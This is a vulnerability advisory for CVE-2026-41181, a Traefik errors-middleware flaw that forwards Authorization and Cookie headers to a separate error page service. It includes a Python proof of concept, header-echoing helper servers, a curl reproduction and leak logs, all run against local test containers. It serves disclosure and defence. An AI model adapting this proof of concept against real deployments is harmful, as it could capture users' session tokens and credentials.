CVE-2026-41181: Traefik: Errors middleware forwards Authorization and Cookie headers to separate error page service

Published May 4, 2026
·
Updated

Summary

There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.44 - https://github.com/traefik/traefik/releases/tag/v3.6.15 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Description Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.

This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.

The root cause is in pkg/middlewares/customerrors/customerrors.go:151-160:

go if len(c.forwardNginxHeaders) > 0 { utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders) pageReq.Header.Set("X-Code", strconv.Itoa(code)) pageReq.Header.Set("X-Format", req.Header.Get("Accept")) pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI()) } else { utils.CopyHeaders(pageReq.Header, req.Header) }

Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.

Steps To Reproduce 1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASEURL = "http://127.0.0.1:28080", APIBASEURL = "http://127.0.0.1:28180", ROUTERPATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".

2. Start the two attached helper services customerrorsbackend.py and customerrorserror.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:

text traefik.http.routers.audit-customerrors.rule=PathPrefix(/audit-customerrors) traefik.http.routers.audit-customerrors.entrypoints=web traefik.http.routers.audit-customerrors.priority=100 traefik.http.routers.audit-customerrors.service=audit-backend traefik.http.routers.audit-customerrors.middlewares=audit-leak traefik.http.services.audit-backend.loadbalancer.server.port=8000 traefik.http.middlewares.audit-leak.errors.status=500-599 traefik.http.middlewares.audit-leak.errors.service=audit-error traefik.http.middlewares.audit-leak.errors.query=/collect

3. Confirm that Traefik has loaded the route and middleware. The attached customerrorsrouter.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrorsmiddleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.

4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:

bash curl -i \ -H 'Authorization: Bearer audit-secret-token' \ -H 'Cookie: sessionid=audit-cookie; theme=dark' \ http://127.0.0.1:28080/audit-customerrors

5. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manualcurlcustomerrors.txt response shows the leaked headers directly, and the attached poccustomerrorsheaderleak.output.txt execution log shows the same result from the automated PoC.

Recommendations The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.

PoC The main PoC attachment is poccustomerrorsheaderleak.py.

python import json import os import subprocess import sys import time import urllib.error import urllib.request from pathlib import Path

TARGET = "traefik customErrors sensitive header leak" BASEURL = "http://127.0.0.1:28080" APIBASEURL = "http://127.0.0.1:28180" TRAEFIKCONTAINER = "traefik-openclaw" NETWORK = "" DOCKERIMAGE = "python:3.12-alpine" BACKENDCONTAINER = "traefik-audit-backend" ERRORCONTAINER = "traefik-audit-error" ROUTERNAME = "audit-customerrors" ROUTERPATH = "/audit-customerrors" AUTHORIZATION = "Bearer audit-secret-token" COOKIE = "sessionid=audit-cookie; theme=dark" TIMEOUTSECONDS = 10 ROUTERWAITSECONDS = 20

EVIDENCEDIR = Path(file).resolve().parent BACKENDSCRIPT = EVIDENCEDIR / "customerrorsbackend.py" ERRORSCRIPT = EVIDENCEDIR / "customerrorserror.py"

def runcommand(command): print(f"$ {' '.join(command)}") completed = subprocess.run(command, captureoutput=True, text=True, check=True) stdout = completed.stdout.strip() stderr = completed.stderr.strip() if stdout: print(stdout) if stderr: print(stderr) return stdout

def removecontainer(name): subprocess.run(["docker", "rm", "-f", name], captureoutput=True, text=True)

def detectnetwork(): if NETWORK: return NETWORK

output = runcommand( ["docker", "inspect", TRAEFIKCONTAINER, "--format", "{{json .NetworkSettings.Networks}}"] ) networks = json.loads(output) networknames = sorted(networks.keys()) if not networknames: raise RuntimeError("No docker network found for Traefik container") return networknames[0]

def ensureimage(): runcommand(["docker", "pull", DOCKERIMAGE])

def starterrorcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", ERRORCONTAINER, "--network", networkname, "-v", f"{ERRORSCRIPT}:/srv/error.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000", DOCKERIMAGE, "python", "/srv/error.py", ] )

def startbackendcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", BACKENDCONTAINER, "--network", networkname, "-v", f"{BACKENDSCRIPT}:/srv/backend.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", f"traefik.http.routers.{ROUTERNAME}.rule=PathPrefix({ROUTERPATH})", "-l", f"traefik.http.routers.{ROUTERNAME}.entrypoints=web", "-l", f"traefik.http.routers.{ROUTERNAME}.priority=100", "-l", f"traefik.http.routers.{ROUTERNAME}.service=audit-backend", "-l", f"traefik.http.routers.{ROUTERNAME}.middlewares=audit-leak", "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000", "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599", "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error", "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect", DOCKERIMAGE, "python", "/srv/backend.py", ] )

def fetchjson(url, headers=None): request = urllib.request.Request(url, headers=headers or {}, method="GET") try: response = urllib.request.urlopen(request, timeout=TIMEOUTSECONDS) except urllib.error.HTTPError as exc: response = exc

with response: return json.loads(response.read().decode())

def waitforrouter(): deadline = time.time() + ROUTERWAITSECONDS while time.time() < deadline: try: data = fetchjson(f"{APIBASEURL}/api/rawdata") if f"{ROUTERNAME}@docker" in data.get("routers", {}): return data except Exception: pass time.sleep(1) raise RuntimeError("Timed out waiting for router")

def triggerrequest(): headers = { "Authorization": AUTHORIZATION, "Cookie": COOKIE, } return fetchjson(f"{BASEURL}{ROUTERPATH}", headers=headers)

def validate(responsejson): leakedheaders = responsejson.get("headers", {}) leakedauth = leakedheaders.get("Authorization") leakedcookie = leakedheaders.get("Cookie")

print("Response JSON:") print(json.dumps(responsejson, indent=2, sortkeys=True))

if leakedauth != AUTHORIZATION: raise RuntimeError(f"Authorization not leaked as expected, got: {leakedauth!r}") if leakedcookie != COOKIE: raise RuntimeError(f"Cookie not leaked as expected, got: {leakedcookie!r}")

print("Validation result: error page service received the original Authorization and Cookie.")

def main(): print(f"TARGET={TARGET}") networkname = detectnetwork() print(f"Using docker network: {networkname}")

removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER)

try: ensureimage() starterrorcontainer(networkname) startbackendcontainer(networkname) waitforrouter() responsejson = triggerrequest() validate(responsejson) finally: removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER) print("Cleaned up temporary containers.")

if name == "main": try: main() except subprocess.CalledProcessError as exc: if exc.stdout: print(exc.stdout) if exc.stderr: print(exc.stderr, file=sys.stderr) raise

Supporting backend helper used by the PoC, from customerrorsbackend.py:

python from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(500) self.sendheader("Content-Type", "text/plain; charset=utf-8") self.endheaders() self.wfile.write(b"backend forced 500\n")

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Supporting error service helper used by the PoC, from customerrorserror.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = json.dumps( { "method": self.command, "path": self.path, "headers": {key: value for key, value in self.headers.items()}, }, indent=2, sortkeys=True, ).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json; charset=utf-8") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Evidence Files customerrorsmiddleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.

json { "errors": { "status": [ "500-599" ], "service": "audit-error", "query": "/collect" }, "status": "enabled", "usedBy": [ "audit-customerrors@docker" ], "name": "audit-leak@docker", "provider": "docker", "type": "errors" }

customerrorsrouter.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.

json { "entryPoints": [ "web" ], "middlewares": [ "audit-leak@docker" ], "service": "audit-backend", "rule": "PathPrefix(/audit-customerrors)", "priority": 100, "observability": { "accessLogs": true, "metrics": true, "tracing": true, "traceVerbosity": "minimal" }, "status": "enabled", "using": [ "web" ], "name": "audit-customerrors@docker", "provider": "docker", "priorityStr": "100" }

manualcurlcustomerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.

text HTTP/1.1 500 Internal Server Error Content-Length: 461 Content-Type: application/json; charset=utf-8 Date: Mon, 13 Apr 2026 13:09:58 GMT Server: BaseHTTP/0.6 Python/3.12.13

{ "headers": { "Accept": "/", "Accept-Encoding": "gzip", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "curl/8.7.1", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" }

poccustomerrorsheaderleak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.

text Response JSON: { "headers": { "Accept-Encoding": "identity", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "Python-urllib/3.14", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" } Validation result: error page service received the original Authorization and Cookie.

Impact Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.

</details>

Other sources

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3.

MITRE

Affected Software

10 affected componentsFixes available
go/github.com/traefik/traefik/v3>=3.7.0-rc.0<=3.7.0-rc.2
3.7.0-rc.3
go/github.com/traefik/traefik/v3<=3.6.14
3.6.15
go/github.com/traefik/traefik/v2<=2.11.43
2.11.44
Traefik traefik<2.11.44
Traefik traefik>=3.0.0<3.6.15
Traefik traefik=3.7.0-ea1
Traefik traefik=3.7.0-ea2
Traefik traefik=3.7.0-ea3
Traefik traefik=3.7.0-rc1
Traefik traefik=3.7.0-rc2

Event History

May 4, 2026
Advisory Published
via GitHub·07:26 PM
Data Sourced
via GitHub·07:26 PM
DescriptionWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·04:27 PM
Data Sourced
via MITRE·04:27 PM
DescriptionWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-41181?

The severity of CVE-2026-41181 is medium.

2

How do I fix CVE-2026-41181?

To fix CVE-2026-41181, upgrade Traefik to versions 3.7.0-rc.3, 3.6.15, or 2.11.44.

3

What software is affected by CVE-2026-41181?

CVE-2026-41181 affects Traefik versions 3.7.0-rc.0 to 3.7.0-rc.2, 3.6.14 and earlier, and 2.11.43 and earlier.

4

What type of vulnerability is CVE-2026-41181?

CVE-2026-41181 is an information disclosure vulnerability in Traefik's custom error pages middleware.

5

What harm can CVE-2026-41181 cause?

CVE-2026-41181 can lead to unauthorized exposure of sensitive request headers, including Authorization credentials.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203